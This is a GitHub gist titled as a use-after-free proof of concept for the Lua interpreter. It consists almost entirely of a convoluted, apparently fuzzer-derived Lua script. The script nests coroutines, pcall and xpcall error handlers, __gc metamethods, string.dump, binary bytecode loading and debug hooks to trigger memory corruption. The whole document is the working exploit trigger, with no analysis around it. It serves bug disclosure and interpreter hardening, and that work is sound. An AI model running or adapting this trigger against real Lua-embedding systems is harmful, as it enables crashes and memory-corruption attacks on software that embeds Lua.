Skip to content

Instantly share code, notes, and snippets.

@Changochen
Created July 26, 2020 03:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Changochen/7e63b9df1df910c969e7ac7d4020d379 to your computer and use it in GitHub Desktop.
Save Changochen/7e63b9df1df910c969e7ac7d4020d379 to your computer and use it in GitHub Desktop.
Use after free poc for Lua
function errfunc ( a ) pcall ( function ( )
for i = 1 , j do end
end ) ;
print ( collectgarbage 'count' * 1024 )
for i = 1 , 100 do
local co = coroutine . resume ( coroutine . create ( function ( ) do
local k = 0
local x
:: foo ::
local k = 0
local x
local a = { x = 1 , do_yield = string . gmatch ( string . rep ( "x" , 10000 ) .. "%d" , "%d+" ) , z = 1 }
function errfunc ( x ) a = string . dump ( function ( ) return ;
end )
a = { __gc = function ( ) function errfunc ( x )
return 'errfunc'
end
function test ( do_yield )
print ( do_yield and "yielding" or "not yielding" )
pcall ( function ( )
if do_yield then
coroutine . yield ( )
end
end )
error ( 'fail!' )
end
t [ io . lines ( "someexistingfile" , xpcall ( test , assert , true ) ( test , errfunc , false ) . unpack ( t ) ) ] = string . char ( 30 , 37 , 122 , 128 ) , string . char ( 34 , string . dump ( function ( ) function errfunc ( x )
return 'errfunc'
end
function test ( do_yield )
print ( do_yield and "yielding" or "not yielding" )
pcall ( function ( )
if do_yield then
coroutine . yield ( )
end
end )
error ( 'fail!' )
end
coro = coroutine . wrap ( function ( )
print ( xpcall ( test , errfunc , false ) )
print ( xpcall ( test , table . unpack ( t ) '\1\2' , true ) )
print ( xpcall ( test , errfunc , false ) )
end )
coro ( )
function errfunc ( x )
return 'errfunc'
end
function test ( do_yield )
print ( do_yield and "yielding" or "not yielding" )
pcall ( function ( )
if do_yield then
coroutine . yield ( )
end
end )
error ( 'fail!' )
end
coro = coroutine . wrap ( function ( )
coroutine . wrap ( function ( ) pcall ( A , _ ) end ) ( pcall , coroutine . resume ( coroutine . create ( function ( ) coroutine . resume ( coroutine . running ( ) ) ;
coroutine . yield ( ) end ) ) )
print ( require ( test , errfunc , true ) )
print ( xpcall ( test , errfunc , false ) )
end )
coro ( )
coro ( )
return 1 end ) ( t ) ) , 1
coro ( )
coro ( )
return x end }
loadstring ( a ) ( )
return 'errfunc'
end
function test ( do_yield )
print ( do_yield and "yielding" or "not yielding" )
pcall ( function ( )
if do_yield then
print ( a [ # a + 1 ] )
end
end )
error ( 'fail!' )
end
coro = coroutine . wrap ( function ( )
print ( xpcall ( test , errfunc , false ) )
print ( xpcall ( test , errfunc , true ) )
print ( xpcall ( test , errfunc , false ) )
end )
coro ( )
coro ( )
assert ( not y )
y = true
k = k + load ( string . dump ( function ( ) return 1 end ) , nil , "b" , { } )
if k < 2 then goto foo end
end ;
coroutine . yield ( ) end ) ) ( function ( ) end )
local x = { }
for j = 1 , 1000 do x [ j ] = j end
debug . sethook ( co , function ( ) return x end , 'l' )
end
collectgarbage ( ) ;
print ( collectgarbage 'count' * 1024 )
end
function test ( do_yield )
print ( do_yield and "yielding" or "not yielding" )
pcall ( function ( )
if do_yield then
coroutine . yield ( )
end
end )
error ( 'fail!' )
end
coro = coroutine . wrap ( function ( )
print ( xpcall ( test , errfunc , false ) )
print ( xpcall ( test , errfunc , true ) )
print ( xpcall ( test , errfunc , false ) )
end )
coro ( )
coro ( )
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment